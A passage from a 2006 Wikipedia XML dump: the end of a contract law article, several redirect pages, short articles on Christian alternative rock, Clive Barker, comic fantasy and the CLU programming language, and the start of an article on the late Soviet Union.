# '''Obviousness:''' The term is so obvious that it goes without saying. Furthermore, there must be one and only one thing that would be implied by the parties. For example, in ''Codelfa Construction Pty Ltd v. State Rail Authority of New South Wales'' (1982) 149 CLR 337, a term regarding the inability of construction company to work three shifts a day could not be implied because it was unclear what form it would have taken.
# '''Clear expression:''' The term must be capable of clear expression. No specific technical knowledge should be required.
# '''Consistency:''' The implied term may not contradict an express term.

In Australia, the High Court has ruled that the test in BP Refinery applies only to [[formal contract]]s, while the test in ''Byrne and Frew v. Australian Airlines Ltd'' (1995) 185 CLR 410 shall apply to [[informal contract]]s:
* '''Necessity:''' The term must be necessary to ensure ''reasonable'' or ''effective'' operation of a contract of the nature before the court.
* '''Consistency:''' The implied term may not contradict an express term (same as for formal contracts).
* '''Clear expression:''' The term must be capable of clear expression (same as for formal contracts).
* '''Obvious:''' McHugh and Gummow JJ have stated that it must also be obvious.

===Terms implied in law===
These are terms that have been implied into standardised relationships. The other difference between this and terms implied in fact is that the test is one of necessity (''Liverpool City Council v. Irwin'' [1976] 2 WLR 562); a necessary term is one where the contract is rendered worthless or nugatory if it is without it.

===Terms implied by custom or trade===
You are generally bound by the custom of the industry that you are in. To imply a term due to custom or trade, you must prove the existence of the custom, which must be notorious, certain, legal and reasonable (''Con-stan Industries of Australia Pty Ltd v. Norwich Winterthur Insurance (Australia) Ltd'' (1986) 160 CLR 226).  See also ''Frigaliment Importing Co., Ltd., v. B.N.S. International Sales Corp.'', 190 F. Supp. 116 (S.D.N.Y. 1960) (plaintiff failed to prove what he meant by &quot;chicken&quot;) and U.C.C. § 1-205.

==Agreements to negotiate==
It is common for lengthy negotiations to be written into a heads of agreement document that includes a clause to the effect that the rest of the agreement is to be negotiated. Although these cases may appear to fall into the category of agreement to agree, courts nowadays (at least in Australia) will imply an obligation to negotiate in [[good faith]] provided that certain conditions are satisfied (''Coal Cliff Collieries Pty Ltd v. Sijehama Pty Ltd'' (1991) 24 NSWLR 1):
* Negotiations were well-advanced and the large proportion of terms have been worked out; and
* There exists some mechanism to resolve disputes if the negotiations broke down.

The test of whether one has acted in good faith is a subjective one; the cases suggest honesty, and possibly also reasonably.

==&quot;Subject to&quot; contracts==
If a contract specifies &quot;subject to contract&quot;, it may fall into one of three categories (''Masters v. Cameron'' (1954) 91 CLR 353):
# The parties are immediately bound to the bargain, but they intend to restate the deal in a formalised contract that will not have a different effect; or
# The parties have completely agreed to the terms, but have made the execution of some terms in the contract conditional on the creation of a formalised contract; or
# It is merely an agreement to agree, and the deal will not be concluded until the formalised contract has been drawn up.

If a contract specifies &quot;subject to finance&quot;, it imposes obligations on the purchaser (''Meehan v. Jones'' (1982) 149 CLR 571):
* The purchaser must seek finance; and
* When offers of finance arrive, the purchaser must make a decision as to whether the offers of finance are suitable.

Once again, there is an element of good faith involved.

This may also refer to contingent conditions, which come under two categories: condition precedent and condition subsequent.
Conditions precedent are conditions that have to be complied with before performance of a contract.
With conditions subsequent, parties have to perform until the condition is not met.
Failure of a condition does not void the contract, it is just regarded as voidable.

==Statutory law applicable to contracts==
The rules by which many contracts are governed are provided in specialized statutes that deal with particular subjects.  Most countries, for example, have statutes which deal directly with [[contract of sale|sale of goods]], [[lease]] transactions and [[trade practices]].   For example, most American states have adopted Article 2 of the [[Uniform Commercial Code]], which regulates contracts for the sale of goods.

There are also many acts around the world which deal with specific types of transactions and businesses.  For example, the  states of [[California]] and [[New York]] in the [[United States|U.S.]] have statutes that govern the provision of services to customers by health studios, and the UK has the Sale of Goods Act 1979 which governs the contracts between sellers and buyers.

==Remedies==
===Damages===
Typically, the remedy for [[breach of contract]] is an award of money [[damages]]. Courts usually adopt one of three ways of calculating the value of damages. 

The most common is to assess the sum which would restore the injured party to the economic position that he or she expected from performance of the promise or promises (known as an &quot;[[expectation measure]]&quot; or &quot;benefit-of-the-bargain&quot; measure of damages).  

When it is either not possible or desirable to award damages measured in that way, a court may award money damages designed to restore the injured party to the economic position that he or she had occupied at the time the contract was entered (known as the &quot;reliance measure&quot;), or designed to prevent the breaching party from being unjustly enriched (&quot;[[restitution]]&quot;). 

===Specific perfomance===
There may be circumstances in which it would be unjust to permit the defaulting party simply to buy out the injured party with damages. For example where an art collector purchases a rare painting and the vendor refuses to deliver, the collector's damages would be equal to the sum paid. 

The court may make an order of what is called &quot;[[specific performance]]&quot;, requiring that the contract be performed.  In some circumstances a court will order a party to perform his or her promise (an order of &quot;[[specific performance]]&quot;) or issue an order, known as an &quot;injunction,&quot; that a party refrain from doing something that would breach the contract.    

Both an order for specific performance and an injunction are discretionary remedies, originating for the most part in [[equity]]. Neither is available as of right and in most jurisdictions and most circumstances a court will not normally order specific performance. The one general exception to this rule is the contract of sale of real estate which, in most jurisdictions, is enforceable by specific performance as real property is considered unique. However, even in this case the defenses to an action in equity (such as [[laches]] or [[unclean hands]]) may act as a bar to specific performance.

==Procedure==
In the United States, in order to obtain damages for breach of contract or to obtain specific performance, the injured party may file a civil (non-criminal) lawsuit, usually in a state court, or petition a private arbitrator to decide the contract issues presented.  

Many contracts provide that all contract disputes must be arbitrated by the parties to the contract, rather than litigated in courts.  By law, some contracts, including most securities brokerage contracts, must be arbitrated; other contracts are referred by courts as a matter of local law or policy.  Arbitrated judgements are generally enforced and appealed in the same manner as ordinary court judgements; a majority of states have adopted the [[Uniform Arbitration Act]] to facilitate the enforcement of arbitrated judgements.

In [[England and Wales]], a contract may be enforced by use of a [[claim]], or in urgent cases by applying for an [[interim injunction]] to prevent a breach.

==Theoretical considerations==
[[Contract theory]] is the body of legal theory that addresses normative and conceptual questions in contract law. One of the most important questions asked in contract theory is why contracts are enforced. One prominent answer to this question focuses on the economic benefits of enforcing bargains. Another approach, associated with Charles Fried, maintains that the purpose of contract law is to enforce promises. This theory is developed in Fried's book, ''Contract as Promise.'' Other approaches to contract theory are found in the writings of [[legal realism|legal realist]]s and [[critical legal studies]] theorists.

== See also ==
* [[Contract (conflict)]]
* [[Contract theory]]
* [[Force majeure]]
* [[Gentlemen's agreement]]
* [[Good faith]]
* [[Implicit contract]]
* [[Indenture]]
* [[Invitation to treat]]
* [[Memorandum of understanding]]
* [[Negotiation]]
* [[Option contract]]
* [[Promissory estoppel]]
* [[Quasi-contract]]
* [[Remedy]]
* [[Standard form contract]]

==External links==
* [http://www.4lawschool.com/contracts/contracts.htm Contracts Case Summaries] 
* [http://www.law.cornell.edu/topics/contracts.html Cornell Law School] ''contracts: an overview''
* [http://www.jus.uio.no/lm/eu.contract.principles.part1.1995/ Principles of European Contract Law]
* [http://moodle.ed.uiuc.edu/wiked/index.php/Behavioral_contracting Behavioral Contracting in the Classroom]
* [http://www.lawteacher.net/contract.htm Basics of contract law (England and Wales) at lawteacher.net]
* [http://law.titiland.com/q/united_nations_convention_contracts_international_sale_goods/all/doc.htm United Nations Convention on Contracts for the International Sale of Goods, Vienna, [[11 April]] [[1980]]]

[[Category:Contract law|*]]
[[Category:Legal documents]]

[[de:Vertrag]]
[[et:Leping]]
[[es:Contrato]]
[[eo:Kontrakto]]
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[[io:Kontrato]]
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[[he:חוזה]]
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[[zh:契约]]</text>
    </revision>
  </page>
  <page>
    <title>Ceylon</title>
    <id>7569</id>
    <revision>
      <id>39755389</id>
      <timestamp>2006-02-15T17:30:05Z</timestamp>
      <contributor>
        <ip>212.102.225.147</ip>
      </contributor>
      <comment>rv</comment>
      <text xml:space="preserve">#REDIRECT [[Sri Lanka]]</text>
    </revision>
  </page>
  <page>
    <title>Cyber sex</title>
    <id>7570</id>
    <revision>
      <id>15905632</id>
      <timestamp>2002-09-10T22:40:26Z</timestamp>
      <contributor>
        <username>Modemac</username>
        <id>3552</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[cybersex]]</text>
    </revision>
  </page>
  <page>
    <title>Christian alternative rock</title>
    <id>7572</id>
    <revision>
      <id>39736252</id>
      <timestamp>2006-02-15T14:21:40Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Wikify dates</comment>
      <text xml:space="preserve">'''Christian alternative music''' is a form of [[alternative rock]] music lyrically grounded in a [[Christianity|Christian]] worldview. The degree to which the faith appears in the music varies from artist to artist.

==History==
Christian alternative rock has its roots in the early [[1980s]], as the earliest efforts at [[Christian punk]] and [[new wave music]] were recorded by artists like [[Daniel Amos]], [[Andy McCarroll and Moral Support]], [[Undercover]], [[The 77s]], [[Adam Again]], [[Quickflight]], Youth Choir (later renamed [[The Choir]]), [[Lifesavers Underground]], [[The Altar Boys]], [[Steve Taylor]], [[David Edwards]], and [[Vector (band)|Vector]]. By the [[1990s]], many of these bands were being carried by independent labels, such as the growing [[Tooth &amp; Nail Records]], because their music tended to be more lyrically complex (and often more controversial) than mainstream [[Contemporary Christian Music]]. 

==See also==
* [[List of Christian alternative bands]]
* [[Christian rock]]

==External links==
*[http://www.villagevoice.com/news/0122,sandler,25149,1.html God Save the Teens: Local Kids Seek a New Kind of Church Through Hardcore and Hip-Hop] by Lauren Sandler in the [[Village Voice]] [[30 May]] - [[5 June]] [[2001]]
*[http://www.hmmagazine.com/exclusive/as_i_lay_dying_norma_jean200504/index.php Review ''As I Lay Dying'' and ''Norma Jean''] by Ben Bishop in The Hard Music Magazine
*[http://dir.yahoo.com/Entertainment/Music/Artists/By_Genre/Religious_and_Devotional/Christian/Rock_and_Pop/Punk_and_Hardcore/Christian Rock and Pop &gt; Christian Punk and Hardcore in the Yahoo! Directory]
*[http://www.firestream.net Firestream.net - The Believer's Heavy Music Refuge]
*[http://www.godcore.com Godcore.com - Christian Music Database]

[[Category:Alternative music]]
[[Category:Christian music|Alternative]]
[[Category:Christian rock genres|Alternative]]
[[Category:Christian rock albums]]</text>
    </revision>
  </page>
  <page>
    <title>Clive Barker</title>
    <id>7573</id>
    <revision>
      <id>41020023</id>
      <timestamp>2006-02-24T15:04:39Z</timestamp>
      <contributor>
        <username>Leatherfacette</username>
        <id>932702</id>
      </contributor>
      <minor />
      <comment>/* Movies */</comment>
      <text xml:space="preserve">'''Clive Barker''' (born [[October 5]], [[1952]], [[Liverpool]], England) is a [[United Kingdom|British]] author, director and visual artist.

Before reaching college, he went to, as he has often boasted, all the same schools as [[John Lennon]]. He studied English and Philosophy at [[Liverpool University]].

Barker is one of the leading authors of contemporary [[horror fiction|horror]]/[[fantasy fiction|fantasy]], starting out with pure horror writing early in his career, mostly in the form of short stories (collected in ''[[Books of Blood]]'' 1 - 6), and the [[Faustian]] novel ''[[The Damnation Game (novel)|The Damnation Game]]''. Later he moved towards epic modern-day fantasy  with some horror elements. Barker's distinctive style is characterized by the notion of hidden fantastical worlds existing side by side with our own (an idea he shares with contemporary [[Neil Gaiman]]), the role of sexuality in the [[supernatural]] and the construction of coherent, complex and detailed mythologies. Barker has referred to this style as &quot;dark fantasy.&quot;

When the ''Books of Blood'' were first published in the [[United States]] in cheap [[paperback]] editions, the originality, intensity and overall quality of the stories led  popular author [[Stephen King]] to say of Barker: &quot;I have seen the future of horror and its name is Clive Barker.&quot; (This is a paraphrase of a famous quote said of [[Bruce Springsteen]] at the beginning of his career.)

A critical analysis of Barker's work appears in [[S. T. Joshi]]'s ''The Modern Weird Tale'' (2001).

==Movies==
Barker has a keen interest in movie production, although his movies have received varying acclaim. The most successful was [[1987]]'s ''[[Hellraiser]]'', based on his novella &quot;[[The Hellbound Heart]]&quot;. His early movies, the shorts ''The Forbidden'' and ''Salome'' are experimental art movies with surrealist elements, now rereleased together, to moderate critical acclaim. After his film ''[[Nightbreed]]'', which was widely considered to be a flop, Barker returned to write and direct ''[[Lord of Illusions]]''.  He is currently working on a series of movie adaptations of his ''The Abarat Quartet'' books, under Disney's management; about the creepily-universal supernatural myths homeless children tell one another; and a film based on his [[Tortured Souls]] line of toys from [[McFarlane Toys]]. 

He recently produced &quot;Urban Myths: Bloody Mary&quot; from a script based on a newspaper report from Miami, Florida [http://www.miaminewtimes.com/issues/1997-06-05/feature.html newspaper article]. 

A short story titled ''The Forbidden'' from Barker's ''In the Flesh'' provided the basis for the film ''[[Candyman]]'' and its two sequels.

He has also produced the film ''[[Gods and Monsters]]'' which received major critical acclaim.

==Visual art==
Barker is also a prolific and talented visual artist, working in a variety of media, often illustrating his own books. His paintings can be seen on the covers of the collections of his plays, ''Incarnations'' (1995) and ''Forms of Heaven'' (1996), as well as on the second printing of the original UK publications of his ''[[Books of Blood]]'' series. His artwork has been exhibited at the Bess Cutler Gallery in New York and La Luz De Jesus in Los Angeles. Many of his sketches and paintings can be found in the collection ''[[Clive Barker, Illustrator]]'', published in 1990 by Arcane/Eclipse Books. He also worked on the creative side of a horror [[computer game]], ''[[Clive Barker's Undying]]'', also providing the voice for the character Ambrose, a homicidal maniac who is never without his enormous axe. ''Undying'' was developed by [[DreamWorks Interactive]] and released in [[2001]] to moderate success and acclaim. Barker also provided the artwork for his young adult novel ''The Thief Of Always'' (1992) as well as  the ''[[Abarat]]'' series.

==Comic books==
A longtime comics fan, Barker achieved his dream of publishing his own superhero books when [[Marvel Comics]] launched the [[Razorline]] imprint in [[1993]]. Based on detailed premises, titles and lead characters he created specifically for this, the four interrelated titles — set outside the Marvel universe — were ''[[Ectokid]]'' (written first by [[James Dale Robinson|James Robinson]], then by future ''[[The Matrix|Matrix]]'' co-creator [[Wachowski brothers|Larry Wachowski]], with art by Steve Skroce), ''[[Hokum &amp; Hex]]'' (written by [[Frank Lovece]], art by [[Anthony Williams (comics)|Anthony Williams]]), ''[[Hyperkind]]'' (written by Fred Burke, art by Paris Cullins) and ''[[Saint Sinner]]'' (written by [[Elaine Lee]], art by Max Douglas). A 2002 Barker telefilm titled ''Saint Sinner'' bore no relation to the comic.

Barker horror adaptations and spin-offs in comics include the Marvel/Epic series ''[[Hellraiser]]'', ''[[Nightbreed]]'', ''[[Pinhead (Hellraiser)|Pinhead]]'', ''The Harrowers'',  ''Book of the Damned'' and ''Jihad''; [[Eclipse Comics|Eclipse Books]]' series and [[graphic novels]] ''Tapping The Vein'', ''Dread'', ''Son of Celluloid'', ''Revelations'' ''The Life of Death'', ''Rawhead Rex'' and ''The Yattering and Jack''; and [[Dark Horse Comics]]' ''Primal'', among others.

In 2005, IDW published a three-issue adaptation of Barker's children's fantasy novel ''[[The Thief of Always]]'', written and painted by Kris Oprisko and Gabriel Hernandez. IDW is also going to be publishing 12 issue adaptations of Barker's novel ''[[The Great and Secret Show]]''

==Relationships==
Barker has been openly [[gay]] since the early 1990s, first mentioning his dating life to US audiences in the pages of ''[[The Advocate]]'' magazine. He currently lives in [[Los Angeles]], CA, with his partner, photographer [[David Armstrong (photographer)|David Armstrong]], and Armstrong's daughter from a previous relationship, Nicole. The household also includes a great many pets (dogs, fish, even a bird named Malingo).

Barker's play ''[[Frankenstein in Love]]'' will receive a rare staging in London at the end of September; see the Barons Court or www.ellupofilms.com for details.

==Bibliography==

===Novels===
* ([[1985]]) ''[[The Damnation Game (novel)|The Damnation Game]]''
* ([[1986]]) ''[[The Hellbound Heart]]''
* ([[1987]]) ''[[Weaveworld]]''
* ([[1988]]) ''[[Cabal (novel)|Cabal]]''
* ([[1989]]) ''[[The Great and Secret Show]]'' (first &quot;Book of the Art&quot;)
* ([[1991]]) ''[[Imajica]]''
* ([[1992]]) ''[[The Yattering and Jack]]'' (also published in ''[[Books of Blood]]'' Volume 1)
* ([[1992]]) ''[[The Thief of Always]]''
* ([[1994]]) ''[[Everville]]'' (second &quot;Book of the Art&quot;)
* ([[1996]]) ''[[Sacrament (book)|Sacrament]]''
* ([[1998]]) ''[[Galilee (book)|Galilee]]''
* ([[2001]]) ''[[Coldheart Canyon|Coldheart Canyon: A Hollywood Ghost Story]]''
* ([[2001]]) ''[[Tortured Souls]] (novelette)
* ([[2002]]) ''[[Abarat]]'' (first book of the Abarat Quartet)
* ([[2004]]) ''[[Abarat: Days of Magic, Nights of War]]'' (second book of the Abarat Quartet)

===Collections===
* ([[1984]]-[[1985]]) ''[[Books of Blood]]'' (vols. 1 through 6 were released between 1984 and 1985. vols. 4 through 6 were published in the U.S. as ''Cabal'', ''[[In the Flesh]]'', and ''[[The Inhuman Condition]]''.)
* ([[1985]]) ''Cabal'' (titular novella was also published as a ''[[Nightbreed]]'' mass market paperback)
* ([[1987]]) ''In the Flesh''
* ([[1987]]) ''The Inhuman Condition''
* ([[1990]]) ''[[Clive Barker, Illustrator]]''
* ([[1992]]) ''[[Illustrator II: The Art of Clive Barker]]''
* ([[1995]]) ''[[Incarnations|Incarnations: Three Plays]]''
* ([[1996]]) ''[[Forms of Heave|Forms of Heaven: Three Plays]]''
* ([[2006]]) ''[[The Scarlet Gospels]]'' (As of yet unpublished collection, the title story has become a long novella featuring the characters and mythology that first appeared in ''The Hellbound Heart'' centering around the character of [[Pinhead (Hellraiser)|Pinhead]] and also featuring Clive's character, [[Harry D'Amour]], from ''The Last Illusion'', ''The Great and Secret Show'', ''Everville'' and the film ''[[Lord of Illusions]]'')


===Biographies===
* ([[2002]]) ''[[Clive Barker: The Dark Fantastic]]'' by ''[[Douglas E. Winter]]''

==See also==
* [[Cenobite (Hellraiser)|Cenobite]] 
* [[Lemarchand's box]]

==References==
* [http://www.clivebarker.com/ Clive Barker.com] - Lost Souls: Clive Barker's Official Website
* [http://www.clivebarker.dial.pipex.com/ Revelations: Clive Barker Information]
* [http://supervert.com/essays/art/clive_barker Catalogue essay for Barker's first art exhibit]
* [http://www.mobygames.com/game/sheet/p,3/gameId,3457/ Clive Barker's Undying on Mobygames.com]
* {{imdb name|id=0000850|name=Clive Barker}}
* {{isfdb name|id=Clive_Barker|name=Clive Barker}}
* [http://wiredforbooks.org/clivebarker/ 1987 and 1986 audio interviews of Clive Barker by Don Swaim of CBS Radio, RealAudio]

==External links==
{{wikiquote}}
* [http://www.godsandmonsters.net/ ''Gods and Monsters'' official website]

{{Clive Barker}}

&lt;!-- Categories --&gt;
[[Category:1952 births|Barker, Clive]]
[[Category:British comics writers|Barker, Clive]]
[[Category:British illustrators|Barker, Clive]]
[[Category:English horror writers|Barker, Clive]]
[[Category:Fantasy artists|Barker, Clive]]
[[Category:Gay writers|Barker, Clive]]
[[Category:Hellraiser|Barker, Clive]]
[[Category:Liverpudlians|Barker, Clive]]
[[Category:Living people|Barker, Clive]]

&lt;!-- Translations --&gt;
[[bg:Клайв Баркър]]
[[de:Clive Barker]]
[[it:Clive Barker]]
[[ja:&amp;#12463;&amp;#12521;&amp;#12452;&amp;#12532;&amp;#12539;&amp;#12496;&amp;#12540;&amp;#12459;&amp;#12540;]]
[[pt:Clive Barker]]
[[fi:Clive Barker]]
[[sv:Clive Barker]]
[[es:Clive Barker]]</text>
    </revision>
  </page>
  <page>
    <title>Comic fantasy</title>
    <id>7574</id>
    <revision>
      <id>23748599</id>
      <timestamp>2005-09-22T12:40:16Z</timestamp>
      <contributor>
        <username>Martpol</username>
        <id>87217</id>
      </contributor>
      <minor />
      <comment>italics</comment>
      <text xml:space="preserve">{{Fantasy}}
'''Comic fantasy''' is a subgenre of [[fantasy]] that is primarily humorous in intent and tone. Usually set in imaginary worlds, comic fantasy often includes puns on and parodies of other works of fantasy.  It is sometimes known as '''low Fantasy''' in contrast to [[high fantasy]], which is primarily serious in intent and tone.

==Examples==
The subgenre rose in the latter half of the [[20th century|twentieth century]], with [[L. Sprague de Camp]] and Fletcher Pratt's [[Harold Shea (fictional series)|Complete Enchanter]] stories being early exemplars. In more modern times, [[Piers Anthony]]'s ''[[Xanth]]'' books, [[Robert Asprin]]'s ''[[MythAdventures]]'' of Skeeve and Aahz books, and [[Terry Pratchett]]'s ''[[Discworld]]'' provide good examples. A rare example on radio is the [[BBC]]'s ''[[Hordes of the Things]]''.

[[Category:Fantasy genres]]

[[de:Humoristische Fantasy]]


{{fantasy-stub}}</text>
    </revision>
  </page>
  <page>
    <title>CLU programming language</title>
    <id>7575</id>
    <revision>
      <id>40662315</id>
      <timestamp>2006-02-22T03:31:55Z</timestamp>
      <contributor>
        <username>Jacobolus</username>
        <id>166386</id>
      </contributor>
      <minor />
      <comment>/* Other features */</comment>
      <text xml:space="preserve">[[pl:CLU]]
'''CLU''' is a [[programming language]] created at [[Massachusetts Institute of Technology|MIT]] by [[Barbara Liskov]] and her students between [[1974]] and [[1975]]. It was notable for its use of constructors for abstract data types that included the code that operated on them, a key step in the direction of [[object oriented programming]] (OOP). However many of the other features of OOP are missing or incomplete, notably inheritance, and the language is also hindered by a sometimes frustrating syntax. CLU and [[Alphard programming language|Alphard]] both seem to get as close as possible to being a full OO language without actually being one. 

==Clusters==
The [[syntax]] of CLU was based on [[ALGOL programming language|ALGOL]], then the starting point for most new language design. The key addition was the concept of a ''cluster'', CLU's type extension system and the root of the language's name (CLUster). Clusters correspond generally to the concept of an &quot;object&quot; in an OO language, and have roughly the same syntax. For instance, here is the CLU syntax for a cluster that implements [[complex number]]s:

&lt;code&gt;
     complex_number = cluster is add, subtract, multiply, ....
          rep = record [ real_part: real, imag_part: real ]
          add = proc ... end add;
          subtract = proc ... end subtract;
          multiply = proc ... end multiply;
          ...
     end complex_number;
&lt;/code&gt;

While clusters offered a then-advanced system for structuring programs, CLU did not offer any sort of structure for the clusters themselves. Cluster names are global, and no namespace mechanism was provided to group clusters or allow them to be created &quot;locally&quot; inside other clusters. This problem is not unique to CLU, but it is surprising that so many languages have lacked this feature — given the centralness in ALGOL of giving scope to variables, it seems that giving scope to cluster/object names would be an obvious extension.

CLU does not perform implicit type conversions. In a cluster, the explicit type conversions 'up' and 'down' change between the abstract type and the representation. There is a universal type 'any', and a procedure force[] to check that an object is a certain type. Objects may be mutable or immutable, the latter being &quot;base types&quot; such as integers.

==Other features==
Another key feature of the CLU type system are ''iterators'', which return objects from a collection one after the other. Iterators were &quot;black boxes&quot; that offered an identical [[application programming interface|API]] no matter what data they were being used with. Thus the iterator for a collection of &lt;code&gt;complex_number&lt;/code&gt;s would be identical to that for an array of &lt;code&gt;integer&lt;/code&gt;s. Iterators are now a common feature of most modern languages. ''(See [[Generator (computer science)|Generator]])''

CLU also includes [[exception handling]], based on various attempts in other languages; exceptions are raised using &lt;code&gt;signal&lt;/code&gt; and handled with &lt;code&gt;except&lt;/code&gt;. Oddly, given the focus on type design, CLU does not offer [[enumeration|enumerated types]], nor any obvious way to create them.

A final distinctive feature in CLU is multiple assignment, where more than one variable can appear on the left hand side of an [[Assignment (computer science)|assignment operator]]. For instance, writing &lt;code&gt;x,y=y,x&lt;/code&gt; would exchange values of &lt;code&gt;x&lt;/code&gt; and &lt;code&gt;y&lt;/code&gt;. In the same way, functions could return several values, like &lt;code&gt;x,y,z=f(t)&lt;/code&gt;. 

All objects in a CLU program live in the heap, and memory management is automatic.

==Influence on other programming languages==
&lt;!-- this should probably be incorporated into the main article instead of having bullet points  --&gt;
* [[Ruby programming language|Ruby]] borrowed several concepts from CLU (for example, the ''yield'' statement)
* CLU, along with [[Ada (programming language)|Ada]] were major inspirations for C++ templates; 
* CLU's exception handling mechanisms also influenced newer languages like Java and C++.
* All objects in a CLU program live in the heap, and memory management is automatic. Directly influenced Java.
* [[Python]] and [[C Sharp|C#]] include [[generator (computer science)|generator]]s, which first appeared in CLU as ''iterators''
[http://cgibin.erols.com/ziring/cgi-bin/cep/cep.pl?_key=CLU]

{{sect-stub}}

==External links==
*[http://www.pmg.lcs.mit.edu/CLU.html CLU Home Page]
*[http://www.lcs.mit.edu/publications/pubs/pdf/MIT-LCS-TR-561.pdf A History of CLU] (pdf)
*[http://www.din.or.jp/~ushijima/clu2c.html clu2c]: a program to compile CLU code to [[C programming language|C]]
*[http://cgibin.erols.com/ziring/cgi-bin/cep/cep.pl?_key=CLU Dictionary of Programming Languages]


[[Category:Historical programming languages]]</text>
    </revision>
  </page>
  <page>
    <title>History of the Soviet Union (1985-1991)</title>
    <id>7577</id>
    <revision>
      <id>42088487</id>
      <timestamp>2006-03-03T19:23:31Z</timestamp>
      <contributor>
        <username>Roberts83</username>
        <id>377159</id>
      </contributor>
      <comment>Corrected uskorenye link</comment>
      <text xml:space="preserve">{{History of Russia in USSR}}

== The rise of Gorbachev==

Although reform in the [[Soviet Union]] stalled between [[1969]]&amp;ndash;[[1982]], a generational shift gave new momentum for reform. Changing relations with the [[United States]] might also have been an impetus for reform. While it was [[Jimmy Carter]] who had officially ended the policy of [[Détente]] following [[Soviet war in Afghanistan|Soviet intervention in Afghanistan]], East-West tensions during the first term of U.S. [[President of the United States|President]] [[Ronald Reagan]] ([[1981]]&amp;ndash;[[1985]]) increased to levels not seen since the [[1962]] [[Cuban missile crisis]].  

After years of stagnation, the &quot;new thinking&quot; of younger Communist apparatchiks began to emerge. Following the death of the elderly [[Konstantin Chernenko]], the Politburo elected [[Mikhail Gorbachev]] to the position of [[General Secretary]] of the Soviet Union in [[March]] [[1985]], marking the rise of a new generation of leadership. Under Gorbachev, relatively young, reform-oriented technocrats, who had begun their careers in the heyday of &quot;de-Stalinization&quot; under [[Nikita Khrushchev]] (1953-1964), rapidly consolidated power within the [[Communist Party of the Soviet Union|CPSU]], providing new momentum for political and economic liberalization, and the impetus for cultivating warmer relations and trade with the West.
[[Image:Perestroika.jpg|left|thumb|250px|''Perestroika'' poster featuring Gorbachev]]
By the time Gorbachev ushered in the process that would lead to the dismantling of the Soviet administrative command economy through his programs of ''[[glasnost]]'' (political openness), ''[[perestroika]]'' (economic restructuring), and ''[[uskoreniye]]'' (speed-up of economic development), the Soviet economy suffered from both hidden [[inflation]] and pervasive supply shortages aggravated by an increasingly open [[black market]] that undermined the official economy. Additionally, the costs of superpower status&amp;ndash;the military, [[KGB]], subsidies to client states&amp;ndash;were out of proportion to the Soviet economy. The new wave of industrialization based upon information technology had left the Soviet Union desperate for Western technology and credits in order to counter its increasing backwardness.

=== Reforms ===

The first reform under Gorbachev was the 1985 alcohol reform, which was designed to fight wide-spread [[alcoholism]] in the [[Soviet Union]]. Prices on [[vodka]], [[wine]] and [[beer]] were lifted, and their sales were restricted. People who were caught drunk at work or in public were prosecuted. Drinking on long-distance trains and in public places was banned. Economically it was a serious blow to the state budget (a loss of approximately 100 billion rubles according to [[Alexander Nikolaevich Yakovlev|Alexander Yakovlev]]) after alcohol production migrated to [[black market]] economy.

The [[Wikisource:Law on Cooperatives|Law on Cooperatives]] enacted in May 1988 was perhaps the most radical of the economic reforms during the early part of the Gorbachev era. For the first time since [[Vladimir Lenin]]'s [[New Economic Policy]], the law permitted private ownership of businesses in the services, manufacturing, and foreign-trade sectors.Under this provision, cooperative restaurants, shops, and manufacturers became part of the Soviet scene.

''Glasnost'' gave a greater freedom of speech. The press became far less controlled, and thousands of political prisoners and many dissidents were released. While Gorbachev's primary goal in undertaking ''glasnost'' was to pressure conservatives who opposed his policies of economic restructuring, he also hoped that the Soviet people would support his reform initiatives.

In January 1987, Gorbachev called for democratization: the infusion of democratic elements such as multi-candidate elections into the Soviet political process. In June 1988, at the CPSU's Nineteenth Party Conference, Gorbachev launched radical reforms meant to reduce party control of the government apparatus. In December 1988, the Supreme Soviet approved the establishment of a [[Congress of People's Deputies]], which constitutional amendments had established as the Soviet Union's new legislative body. Elections to the congress were held throughout the USSR in March and April 1989. On [[March 15]], [[1990]], Gorbachev was elected as the first executive [[President of the Soviet Union]].

=== Unintended consequences ===

Gorbachev's efforts to streamline the Communist system offered promise, but were ultimately doomed to failure. By the late 1980s, it was evident that Gorbachev's policies of openness and democratization were going far beyond what had been originally intended. ''Perestroika'' and ''glasnost'' began exposing how a once revolutionary Communist Party had become moribund at the very centre of the system. 

Relaxation of [[censorship]] under ''glasnost'' resulted in the Communist Party losing its absolute grip on the [[media]]. Before long, and much to the embarrassment of the authorities, the media began to expose severe social and economic problems the Soviet government had long denied existed and actively concealed. Problems such as poor housing, [[alcoholism]], [[drug abuse]], [[pollution]], outdated [[Stalinist]]-era factories, and petty to large-scale corruption, all of which the official media had ignored, received increased attention. Media reports also exposed crimes committed by [[Stalin]] and the Soviet regime, such as [[Gulag]]s and the [[Great Purges]] ignored by the official media.  Moreover, the ongoing [[Soviet invasion of Afghanistan|war in Afghanistan]], and the mishandling of the [[1986]] [[Chernobyl accident]] further damaged the credibility of the Soviet government at a time when dissatisfaction was increasing.

In all, the very positive view of Soviet life which had long been presented to the public by the official media was being rapidly dismantled, and the negative aspects of life in the Soviet Union were brought into the spotlight. This undermined the faith of the public in the Soviet system and eroded the Communist Party's social power base, threatening the identity and integrity of the Soviet Union itself.

Fraying amongst the members of the [[Warsaw Pact]] nations and instability of its western allies, first indicated by [[Lech Wałęsa]]'s [[1980]] rise to leadership of the [[trade union]] [[Solidarity]], accelerated, leaving the Soviet Union unable to depend upon its satellite states for protection of its borders, as buffer states. By 1989, Moscow had repudiated the [[Brezhnev Doctrine]] in favor of non-intervention in the internal affairs of its Eastern European allies, fatally depriving Eastern Europe’s regimes of the assurance of Soviet assistance and intervention in the event of popular uprising. Gradually, each of the Warsaw Pact nations saw their communist governments fall to popular elections and, in the case of [[Romania]], a violent uprising.  By 1991, [[Bulgaria]], [[Czechoslovakia]], [[East Germany]], [[Hungary]], [[Poland]] and Romania's communist governments imposed after [[World War II]] were brought down as revolution swept [[Eastern Europe]].

The Soviet Union also began experiencing upheaval as the political consequenses of ''glasnost'' reverberated throughout the country.  Despite efforts at containment, the instability in Eastern Europe inevitably spread to nationalities within the USSR. In [[election]]s to the regional assemblies of the Soviet Union's constituent republics, [[nationalism|nationalists]] as well as radical reformers swept the board. As Gorbachev had weakened the system of internal political repression, the ability of the USSR's central Moscow government to impose its will on the USSR's constituent republics had been largely undermined.

